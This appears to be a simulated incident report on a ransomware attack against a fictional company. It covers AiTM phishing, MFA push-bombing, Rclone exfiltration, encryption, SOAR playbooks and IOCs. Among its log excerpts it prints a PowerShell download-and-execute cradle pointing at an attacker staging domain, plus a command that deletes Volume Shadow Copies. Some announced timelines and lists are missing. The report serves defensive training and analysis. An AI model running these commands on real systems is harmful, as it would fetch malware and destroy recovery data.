On May 27, 2026, Ficsit Inc. Pioneer Division sustained a sophisticated, multi-stage cyberattack attributed with high confidence to IRON CHIMNEY (TA-001), an Eastern European ransomware-as-a-service (RaaS) operator. The attack chain began at 10:09 UTC with a targeted spearphishing email (THREAT-001) delivering a macro-enabled Excel dropper (MAM_Update_Q4_2026.xlsm) to the pioneer account. The lure was purpose-crafted to exploit knowledge of Ficsit's internal M.A.M. (Material Acquisition & Management) research project — intelligence likely obtained during pre-attack reconnaissance activity spanning at least 7 days prior.

The attacker employed an Adversary-in-the-Middle (AiTM) phishing proxy hosted at pioneer-updates.svc.net (resolving to C2 IP 185.220.101.47) to intercept and replay the authentication session token for the pioneer account, entirely bypassing multi-factor authentication. A concurrent but independent attack vector compromised executive account m.blake through an MFA fatigue / push-bombing campaign, allowing the attacker to enumerate internal host inventory, user directories, and full network subnet topology via the Ficsit Admin Portal — reconnaissance directly leveraged to deploy a targeted ransomware payload.

At 14:28 UTC, a PowerShell encoded download cradle executed on RESEARCH-STATION-01, pulling IRONLOCK v2.1 ransomware from a typosquatted staging domain (update-cdn.ficsit-external.com). Prior to encryption, 547 MB of research data was exfiltrated to the attacker's C2 server via Rclone — confirming a double-extortion strategy designed to apply financial pressure even if backup recovery is available. At 14:31 UTC, 847 files were encrypted with the .encrypted extension within 4 minutes. The process also deleted Volume Shadow Copies (VSS) to impede recovery and created a scheduled task for persistence.

RESEARCH-STATION-01 was isolated from the FICSIT-NET backbone at 14:45 UTC — 14 minutes after initial ransomware detection. Factory operations, HUB systems, and production infrastructure were not affected. Three SOAR playbooks executed automatically across the incident: PB-001 (AiTM Phishing Response), PB-002 (MFA Fatigue Lockdown), and PB-003 (Ransomware Containment). Ficsit Corp Security & Legal were notified at 15:15 UTC. A forensic disk image of RESEARCH-STATION-01 is in progress. No ransom has been paid; no decryption key has been received.

The following timeline covers all security events from the earliest known attacker activity (May 19, 2026) through the current containment phase. Times are UTC.

The IRON CHIMNEY attack against Ficsit Pioneer Division followed a structured, multi-phase kill chain spanning at least 7 days of pre-attack preparation. The attack is notable for its use of two independent initial access vectors executed in parallel — an AiTM phishing attack against a research analyst account and an MFA fatigue attack against an executive account — with intelligence gathered from the second used to tailor the ransomware payload delivered through the first.

The primary initial access vector was a spearphishing email (THREAT-001) crafted to exploit specific knowledge of Ficsit's M.A.M. (Material Acquisition & Management) research platform. The email was delivered at 10:09 UTC on May 27, 2026, to pioneer@ficsit-pioneer.corp from the spoofed display name "Ficsit Research Platform" using the attacker-controlled domain pioneer-updates.svc.net.

Critically, this email employed an Adversary-in-the-Middle (AiTM) phishing technique rather than a simple credential harvesting page. The phishing link routed the victim's authentication through an attacker-controlled transparent proxy, allowing the adversary to intercept the authenticated session token in real time — entirely bypassing MFA, as the token was captured post-authentication.

Email authentication analysis: SPF PASS and DKIM PASS were obtained for pioneer-updates.svc.net (the attacker's own domain), however DMARC FAILED due to misalignment with the legitimate ficsit-pioneer.corp domain. The originating IP 185.220.101.47 was embedded in the email headers and subsequently confirmed as a known IRON CHIMNEY C2 node.

The phishing attachment MAM_Update_Q4_2026.xlsm was a macro-enabled Excel file (487 KB). When the victim opened the file and enabled macros, a VBA macro executed a PowerShell command that downloaded and ran a first-stage stager from the AiTM proxy server. The macro body decoded a base64-encoded PowerShell download cradle:

iex (New-Object System.Net.WebClient).DownloadString('http://update-cdn.ficsit-external.com/mam/latest/update.ps1')

A second, distinct execution event occurred at 14:28 UTC when a separate PowerShell encoded command executed on RESEARCH-STATION-01. This encoded command (observed in Windows Event ID 4688) used a different staging URL and was likely the primary IRONLOCK payload delivery mechanism:

2026-05-27T14:28:33Z  RESEARCH-STATION-01  WinEvent  EventID=4688
  SubjectUserName=pioneer  SubjectDomainName=FICSIT
  NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  ParentProcessName=C:\Windows\System32\cmd.exe  pid=3201  ppid=2440
  CommandLine=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden
    -EncodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcw...

  [EDR DECODE] Base64 payload resolves to:
  iex (New-Object System.Net.WebClient).DownloadString(
    'http://update-cdn.ficsit-external.com/mam/latest/update.ps1')

IRONLOCK v2.1 created a persistence mechanism via a Windows Scheduled Task named \Microsoft\Windows\Update\Updater — designed to blend in with legitimate Windows Update scheduler entries. The task was configured to re-execute the PowerShell payload on system startup and at user logon, ensuring the ransomware or its C2 communication mechanism would survive a reboot.

This persistence mechanism was observed in the EDR telemetry immediately following the mass file rename event and was flagged in ALT-7291. The scheduled task was confirmed and quarantined as part of SOAR PB-003 execution. No evidence of the task executing post-containment.

IRON CHIMNEY employed multiple defense evasion techniques:

Encoded Commands: All PowerShell payloads were delivered via base64-encoded -EncodedCommand parameter to evade simple string-based detection rules that look for plaintext download URLs.

VSS Shadow Copy Deletion (T1490): IRONLOCK deleted Volume Shadow Copies using vssadmin.exe delete shadows /all /quiet immediately prior to initiating file encryption. This prevents victim recovery via Windows Previous Versions and removes a key recovery path without requiring decryption keys. EDR telemetry captured this execution event as part of the ransomware process chain from pioneer_research_tool.exe.

Masquerading (T1036): The ransomware binary was named pioneer_research_tool.exe — mimicking a legitimate Pioneer Division research utility. The scheduled task was placed in the \Microsoft\Windows\Update\ namespace. Both choices indicate deliberate effort to blend into expected system activity.

Process Injection: The ransomware process spawned from cmd.exe, which is consistent with execution via the PowerShell download cradle rather than direct execution — adding one level of process ancestry obfuscation.

Two credential access techniques were employed in this incident:

LSASS Memory Dumping (T1003.001): EDR detection DET-0040 on PIONEER-WS-01 flagged a blocked LSASS credential dump attempt by the attacker process. The EDR agent intercepted the process memory read of lsass.exe and blocked it successfully. This suggests the attacker attempted to harvest additional account credentials to expand their foothold or facilitate lateral movement — possibly targeting service account credentials stored in memory.

MFA Fatigue / Push Bombing (T1110.003): The m.blake account was targeted through persistent MFA push notification spam — sending 3 notifications in 7 minutes until the user accepted the 4th. This technique exploits user fatigue and the assumption that an unexpected push may be a system glitch. The 22-minute admin session that followed was used for systematic internal reconnaissance. This attack vector ran concurrently and independently of the pioneer AiTM attack, demonstrating a sophisticated dual-pronged approach.

Internal reconnaissance was conducted via the compromised m.blake admin portal session between 14:17 and 14:39 UTC. The attacker made 21 API calls to the Ficsit Admin Portal:

This reconnaissance directly informed the attacker's targeting decision — RESEARCH-STATION-01 was subsequently identified as the ransomware deployment target, consistent with its role as the primary R&D workstation in the host inventory. The subnet map export would have revealed network segmentation, enabling the attacker to avoid production and factory segments that were more likely to trigger rapid detection.

Additionally, an internal network scan (DET-0035, nmap) was observed from a compromised endpoint prior to the ransomware execution phase, consistent with lateral movement preparation.

Prior to exfiltration, the attacker staged 3.2 GB of R&D files into a single archive directory (\\FICSIT-FS-01\RnD\tmp\archive_2026\) over a 45-minute window between 11:55 and 12:40 UTC. This activity was attributed to the pioneer account and detected as ALT-7299 / INV-2024-0079.

Files staged include material of significant research and operational sensitivity:

Whether these staged files were subsequently included in the 547 MB exfiltration payload is under active investigation (INV-2024-0079 task: "Determine if staged files were subsequently exfiltrated").

At 14:28 UTC, 547 MB of data was transferred from PIONEER-WS-01 to C2 IP 185.220.101.47:443 over 183 seconds (approximately 3 minutes). The transfer volume (573,741,824 bytes) and destination IP were detected by firewall alert ALT-7287. The traffic was routed on port 443 using TLS, consistent with Rclone — a legitimate cloud sync tool commonly misused by ransomware actors for exfiltration (T1567).

May 27 14:28:11 FICSIT-FW-CORE CEF:0|FicsitSec|NGFW|4.2|1201|LargeOutboundTransfer|HIGH
  src=10.0.1.42 spt=50122 dst=185.220.101.47 dpt=443 proto=TCP
  bytes_out=573741824 bytes_in=1802 duration_sec=183
  geo_dst="NL/Tor exit node"  asn_dst=AS60068 (CDN77)
  flow_id=a9f3d21c-4481  rule_matched="Exfil::LargeOutbound>500MB"

May 27 14:31:18 FICSIT-FW-CORE IDS-ALERT: Signature 2025441 "ET TROJAN Ransomware C2 Beacon"
  src=10.0.1.42 dst=185.220.101.47 sid=2025441 priority=1
  note: not blocked — firewall rule pending confirmation at time of alert

The firewall alert fired but traffic was not blocked pending manual rule confirmation — a critical gap in automated response. SOAR PB-003 subsequently pushed an automated firewall block rule for 185.220.101.47, but this occurred after exfiltration had already completed. A 14.7 GB exfiltration via a compromised Dropbox account (attributed to m.blake) is also under investigation and may represent a secondary exfiltration channel.

IRONLOCK v2.1 ransomware (process name: pioneer_research_tool.exe, SHA256: a3f8d4c2e1b9f0741d6c3a8b5e7f2d09c4b1e3a8f6d2c7b0e5a4f1d8c3b9e7) encrypted 847 files on RESEARCH-STATION-01 in 238 seconds using a targeted, directory-aware encryption approach consistent with IRON CHIMNEY's known tooling.

Encrypted file types include research documents (.docx, .pdf, .xlsx), engineering files (.dwg), configuration exports (.xlsx, .ini), and research data archives. A ransom note README_DECRYPT.txt was deposited in every affected directory. All Volume Shadow Copies were deleted prior to encryption, eliminating Windows-native recovery paths.

No factory controllers, SCADA systems, or production databases were impacted. The encryption was contained to RESEARCH-STATION-01 and the staged R&D share. Network isolation at 14:45 UTC prevented any potential lateral spread to additional endpoints.

IRON CHIMNEY is a financially motivated RaaS group that leases its IRONLOCK ransomware platform to affiliates in exchange for a percentage of ransom proceeds. The group is notable for conducting detailed pre-attack reconnaissance on targets — typically gathering internal project names, key personnel, and network architecture before deploying lures. The M.A.M.-themed phishing content in this incident is consistent with this behavioral pattern.

The group has been observed previously targeting industrial research facilities and manufacturing operations where OT/SCADA data has high exfiltration value for secondary extortion. The inclusion of SCADA configuration exports in the staged data strongly suggests the attackers intended to leverage this data as additional leverage in ransom negotiations.

All IOCs below should be blocklisted at perimeter, NGFW, DNS resolver, email gateway, and endpoint layers. High-confidence IOCs are already pushed via SOAR PB-003. All hashes are SHA256.

Factory controllers (FACTORY-CTRL-NORTH, FACTORY-CTRL-SOUTH), domain controllers (FIC-DC-01), Exchange (FIC-EXCH-01), web server (FIC-WEB-01), and all other production systems were not affected. Network segmentation between the R&D segment and factory/production segments is assessed to have been the primary containment factor that prevented operational impact.

Three SOAR playbooks executed automatically in response to this incident, orchestrating rapid containment actions across multiple security controls within seconds of detection — significantly faster than manual response would have permitted.

Triggered at 10:09 UTC by ALT-7272 (AiTM Session Hijack). Executed 14 steps: revoked all active sessions for pioneer, blocked phishing domain pioneer-updates.svc.net at NGFW, quarantined THREAT-001 from email gateway, elevated account risk score, notified SOC, filed SIEM alert, initiated identity risk investigation, and forced MFA re-enrollment. Completion time: approximately 45 seconds from trigger to final action.

Triggered at 14:10 UTC by ALT-7285 (MFA Failure Threshold breach on m.blake). Queued session monitoring; on ALT-7288 confirmation of successful compromise, executed 10 steps: suspended m.blake account, revoked all sessions, enabled step-up authentication for all Admin Portal access, reset all API tokens, flagged for investigation, and notified security team. Completion time: approximately 30 seconds from compromise confirmation.

Triggered at 14:35 UTC by SIEM investigation auto-creation (correlated ALT-7291 + ALT-7287 + ALT-7278). Executed 12 steps: isolated RESEARCH-STATION-01 from network fabric, pushed C2 IP block to NGFW, sinkholed C2 domains at DNS, quarantined ransomware binary, preserved EDR telemetry and memory dumps, initiated forensic imaging workflow, notified IR team and legal, pushed all IOCs to threat intelligence platform, opened SOAR case CASE-2024-0267, and created post-incident review ticket in Queue (IR-002). Completion time: approximately 90 seconds from trigger.

The following investigations are directly linked to or correlated with INV-2024-0087 as part of the broader IRON CHIMNEY campaign against Ficsit Pioneer Division.

The primary root cause was the successful delivery and execution of a macro-enabled Excel file (THREAT-001) by the pioneer account, combined with the absence of a Real-Time Outbound Blocking policy for confirmed C2 IPs identified by the IDS signature engine. The AiTM bypass of MFA is a technique that standard MFA cannot prevent — it requires phishing-resistant authentication (FIDO2/hardware keys) to mitigate.

Selected log excerpts supporting the incident findings. Full logs preserved in forensic image (chain of custody: IR-EVID-2026-0087-A). Hashes defanged for report distribution.

2026-05-27T14:31:02Z  RESEARCH-STATION-01  EDR-EVENT  severity=CRITICAL
  rule="Ransomware::FileExtMassRename"  process=pioneer_research_tool.exe
  pid=4892  user=FICSIT\pioneer  signed=false  cert_issuer=NONE
  hash_sha256=a3f8d4c2e1b9f0741d6c3a8b5e7f2d09c4b1e3a8f6d2c7b0e5a4f1d8c3b9e7
  file_op=RENAME  count=847  window_sec=238
  sample_renames:
    C:\Users\pioneer\Research\MAM-Notes-v4.docx → MAM-Notes-v4.docx.encrypted
    C:\Users\pioneer\Research\alien-consciousness-draft.pdf → ...pdf.encrypted
    C:\Users\pioneer\Research\scada-config-export.xlsx → ...xlsx.encrypted
  ransom_note: README_DECRYPT.txt  drop_path=C:\Users\pioneer\Research\
  scheduled_task: \Microsoft\Windows\Update\Updater  [persistence]
ALERT: action=QUARANTINE_PROCESS  result=SUCCESS  process_terminated=true

May 27 14:28:11 FICSIT-FW-CORE CEF:0|FicsitSec|NGFW|4.2|1201|LargeOutbound|HIGH
  src=10.0.1.42 spt=50122 dst=185.220.101.47 dpt=443 proto=TCP
  bytes_out=573741824 bytes_in=1802 duration_sec=183
  geo_dst="NL/Tor exit node"  asn_dst=AS60068 (CDN77)
  rule_matched="Exfil::LargeOutbound>500MB"

May 27 14:31:18 FICSIT-FW-CORE IDS-ALERT:
  Signature 2025441 "ET TROJAN Ransomware C2 Beacon"
  src=10.0.1.42 dst=185.220.101.47 sid=2025441 priority=1
  action=ALERT  [NOT BLOCKED — manual confirmation pending]

2026-05-27T10:09:14Z  Foyl-MailGuard  ATO-DETECT  severity=HIGH
  victim=pioneer@ficsit-pioneer.corp  proxy_ip=185.220.101.47
  phishing_domain=pioneer-updates.svc.net  domain_age=6d
  phishing_email=THREAT-001  attachment=MAM_Update_Q4_2026.xlsm
  session_cookie_stolen=true  mfa_bypassed=true [AiTM token relay]
  entra_ato_case=ATO-001  risk_score=94
  rule="Identity::AiTM_Session_Hijack"  soar_trigger=PB-001

{"time":"2026-05-27T14:17:33Z","category":"SignInLogs",
 "userPrincipalName":"m.blake@ficsit-pioneer.corp","ipAddress":"203.0.113.88",
 "appDisplayName":"Ficsit Admin Portal","status":{"errorCode":0},
 "authMethod":"Microsoft Authenticator","succeeded":true,
 "riskDetail":"adminConfirmedSigninCompromised","riskLevelDuringSignin":"high"}

SESSION ACTIVITY (session_id=bae941f2, duration=22min):
  14:17:55  GET /api/v1/inventory/hosts?limit=500   200  (×14)
  14:18:30  GET /api/v1/directory/users?format=full 200  (×6)
  14:20:11  GET /api/v1/network/subnet-map          200  (×1)
ALERT: EntraID::SuccessAfterMFABurst  session_id=bae941f2  api_calls=21

All IOCs below are defanged for safe sharing. Remove defanging (replace [.] with . and hxxp with http) before operationalizing.

# IP Addresses
185[.]220[.]101[.]47          # C2 / AiTM proxy / exfil destination (Confirmed)
203[.]0[.]113[.]88            # MFA fatigue source (Confirmed)
92[.]118[.]37[.]91            # After-hours VPN login source (Medium)

# Domains
pioneer-updates[.]svc[.]net
update-cdn[.]ficsit-external[.]com
ficsit-account-verify[.]com
d3adbeef123456789[.]update[.]microsoft-cdn-verify[.]net

# URLs
hxxps://pioneer-updates[.]svc[.]net/portal/verify
hxxp://update-cdn[.]ficsit-external[.]com/mam/latest/update.ps1

# File Hashes (SHA256)
a3f8d4c2e1b9f0741d6c3a8b5e7f2d09c4b1e3a8f6d2c7b0e5a4f1d8c3b9e7  # pioneer_research_tool.exe (IRONLOCK)
b9c2e7f4a1d3e031c8f5a4b7e2d9c1f6a3b8e5d2c7f4a1b0e3d8c5f2a9b6e1  # README_DECRYPT.txt dropper
a3f8c1d2e4b5a9f0c7e3d6b8a1f4c2e5d9b3a7f0c4e8d1b5a2f6c3e7d0b4a8  # MAM_Update_Q4_2026.xlsm

# Email Addresses
updates@pioneer-updates[.]svc[.]net
external@threatactor[.]net

# Scheduled Task
\Microsoft\Windows\Update\Updater  (malicious persistence — not legitimate Windows task)